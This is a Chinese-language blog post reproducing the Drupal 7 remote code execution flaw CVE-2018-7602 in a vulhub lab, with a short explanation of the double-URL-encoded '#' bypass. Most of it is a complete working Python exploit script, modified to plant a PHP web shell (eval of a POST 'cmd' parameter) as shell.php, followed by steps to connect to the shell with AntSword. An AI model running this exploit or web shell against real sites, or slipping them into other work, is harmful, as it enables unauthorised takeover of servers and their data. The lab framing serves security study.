当前位置:网站首页>Drupal 远程代码执行漏洞复现(CVE-2018-7602)
Drupal 远程代码执行漏洞复现(CVE-2018-7602)
2022-08-11 05:32:00 【Tauil】
0x01 环境搭建
建立vulhub/drupal/CVE-2018-7602/环境
0x02 创建角色
给该网页创建一个网站管理员角色

登录初始管理员,授予权限给新建角色

设置完毕并保存后该新建的管理员角色就已激活
0x03 反弹shell连接
使用以下poc.py,与官网不同的是强制定义命令为 echo '<?php eval($_POST["cmd"]);echo "get shell";?>' > shell.php,因为如果使用原poc执行语句python3 poc.py -c "echo '<?php eval($_POST["cmd"]);echo "get shell";?>' > shell.php" drupal drupal http://靶机IP:8081/会导致输入错误等等原因,所以进行了一点修改
#!/usr/bin/env python3
import requests
import argparse
from bs4 import BeautifulSoup
def get_args():
parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= ''' This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58 using an valid account and poisoning the cancel account form (user_cancel_confirm_form) with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax). ''')
parser.add_argument("user", help="Username")
parser.add_argument("password", help="Password")
parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id")
parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
args = parser.parse_args()
return args
def pwn_target(target, username, password, function, command, proxy):
requests.packages.urllib3.disable_warnings()
session = requests.Session()
proxyConf = {
'http': proxy, 'https': proxy}
try:
print('[*] Creating a session using the provided credential...')
get_params = {
'q':'user/login'}
post_params = {
'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
print('[*] Finding User ID...')
session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
get_params = {
'q':'user'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
user_id = soup.find('meta', {
'property': 'foaf:name'}).get('about')
if ("?q=" in user_id):
user_id = user_id.split("=")[1]
if(user_id):
print('[*] User ID found: ' + user_id)
print('[*] Poisoning a form using \'destination\' and including it in cache.')
get_params = {
'q': user_id + '/cancel'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {
'id': 'user-cancel-confirm-form'})
form_token = form.find('input', {
'name': 'form_token'}).get('value')
get_params = {
'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
post_params = {
'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {
'id': 'user-cancel-confirm-form'})
form_build_id = form.find('input', {
'name': 'form_build_id'}).get('value')
if form_build_id:
print('[*] Poisoned form ID: ' + form_build_id)
print('[*] Triggering exploit to execute: ' + command)
get_params = {
'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
post_params = {
'form_build_id':form_build_id}
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
parsed_result = r.text.split('[{"command":"settings"')[0]
print(parsed_result)
except:
print("ERROR: Something went wrong.")
raise
def main():
print ()
print ('===================================================================================')
print ('| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |')
print ('| by pimps |')
print ('===================================================================================\n')
args = get_args() # get the cl args
args.command = '''echo '<?php eval($_POST["cmd"]);echo "get shell";?>' > shell.php'''
pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
if __name__ == '__main__':
main()
然后输入命令执行poc.pypython3 poc.py -c "" drupal drupal http://靶机IP:8081/

访问http://靶机IP/shell.php即可看到新建的网页

然后使用蚁剑连接,密码是cmd

漏洞原理
对CVE-2018-7600漏洞的补丁通过过滤带有#的输入来处理请(GET,POST,COOKIE,REQUEST)中数据。

但是Drupal 应用还会处理path?destination=URL形式的请求,发起请求需要对destination=URL中的URL进行URL编码,当对URL中的#进行编码两次,就可以绕过sanitize()函数过滤。
构造特殊请求绕过过滤代码
POST /drupal-7.59/drupal-7.59/node/9/delete?destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami
其中%2523是对#的两次URL编码。
WEB中间件对%2523解码获得%23

绕过sanitize(),stripDangrousValues函数检查。
在Drupal应用对destination URL进行处理时,会再次解码%23,获得#。

使用parse_str,并存入options,还需要通过其他步骤来触发漏洞。

边栏推荐
猜你喜欢
随机推荐
2021年vscode终端设置为bash模式
Lua 快速入门(六)——基础OOP
Byte (byte) and bit (bit)
2022DASCTF X SU 三月春季挑战赛 checkin ROPgadget进阶使用
脚本批量打包渠道包研究
Redis学习笔记【二】
Getting Started with JNI
Jedis连接问题!!
【LeetCode-278】第一个错误的版本
一文看懂注解与反射
Lua中and和or的用法和记忆方法
C语言-7月22日- NULL和nullptr的深入了解以及VScode对nullptr语句报错问题的解决
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(8)
C语言-6月8日-给定一个字符数组‘i am a student’ 统计字符a的个数并进行输出
Promise.race learning (judging the fastest execution of multiple promise objects)
stegano
OpenGL WSAD按键操作和鼠标移动操控摄像机Camera类
将UI的点击事件渗透下去
Matplotlib找不到字体,打印乱码
程序集与反射技术(C#)









